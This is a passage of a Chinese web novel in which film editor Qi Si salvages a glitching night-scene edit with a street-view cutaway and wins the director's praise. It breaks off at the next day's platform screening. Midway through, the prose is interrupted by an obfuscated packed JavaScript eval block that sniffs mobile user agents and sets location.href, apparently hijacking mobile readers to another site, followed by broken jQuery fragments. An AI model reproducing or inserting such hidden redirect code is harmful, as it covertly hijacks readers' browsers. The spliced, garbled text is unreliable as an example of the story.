他那天晚上回到剪辑室，刚坐下准备继续拉时间线，监视器突然一黑，时间线上的画面开始跳帧，像被人用剪刀随意剪断又粘上。

    “又卡机？”他皱眉，敲了两下键盘，软件弹出一串错误代码。

    隔壁机位的技术员探头：“服务器那边今天有点不稳，刚刚还好好的，你这机子怎么又先出问题？”

    监视器上的画面一会儿过曝，一会儿发灰，演员脸上要么被打成一片惨白，要么陷进阴影里。那是他们刚拍完不久的一场夜戏，街景灯箱五颜六色，霓虹反光在地面上拉出一条条色带。

    导演急匆匆赶过来：“这场夜戏明天要给平台看样片，你要是现在崩了，我这边就得跪着解释。”

    技术员一边重启一边冒汗：“我尽量抢救……”

    齐司看了眼时间，离他心里设定的“下班线”只剩二十分钟。

    “让一让。”他把技术员挤开，手指在键盘上飞快敲了几下，直接跳过了软件的自动修复，调出底层缓存。

    他随手把跳帧的那一段拉出来，拖到旁边的轨道上，重新对齐时间码，又把过曝的部分调出波形图，眼睛在那一串起伏的曲线上扫了一眼。

    “你这机位当时ISO开太高了。”他随口说，“街灯已经够亮了，后期一推就全死白。”

    他把曝光曲线往下压了一点，又在Gaa上轻轻提了一截，原本惨白的脸上渐渐浮出一点血色，霓虹灯的颜色也从刺眼的荧光变成了柔和的蓝紫。

    跳帧的地方，他干脆删掉了几帧，把前后两个镜头硬切在一起，又在中间加了一个极短的街景空镜——路边便利店的灯箱，门口晃过一个骑电动车的人影。

    “这样切？”技术员有点不确定。

    “夜戏嘛，节奏快一点。”齐司眼睛盯着时间线，“你把这段当成呼吸点，观众眼睛在这里眨一下，后面那句台词就更重。”

    他按下空格键，画面开始播放。

    男主站在街角，背后是一整面LED广告屏，蓝色的光把他的侧脸勾出一条冷线。原本跳帧的地方，现在被那一秒的街景空镜接了起来——便利店的灯箱，电动车的尾灯划过，霓虹在雨后湿漉漉的地面上晃动。

    空镜一闪而过，画面切回男主，眼神刚好抬起，对上镜头。

    “我以为你会回来。”

    那一句台词落在刚刚那一秒的空白之后，像是从街景的喧闹里被抽出来，突然变得格外安静。

    导演在监视器前看着回放，整个人往前倾了倾。

    “再放一遍。”他盯着那一秒的空镜，“刚刚那个……怎么来的？”

    “跳帧那段删了，空镜是前面拍的素材。”齐司说，“随便塞了一下。”

    导演盯着那一秒街景，灯箱、尾灯、湿地面，所有的光线在那一秒里交织在一起，像是一种说不清的“城市孤独感”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16939321|192918||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    。

    “这镜头可以进预告。”他喃喃道，“甚至可以做海报。”

    第二天，平台看片会。

    会议室里灯光压得很低，长桌一侧坐着平台内容部、市场部的人，另一侧是制片方和导演。投影幕布上播放着刚剪好的样片，数据分析师在旁边的笔记本上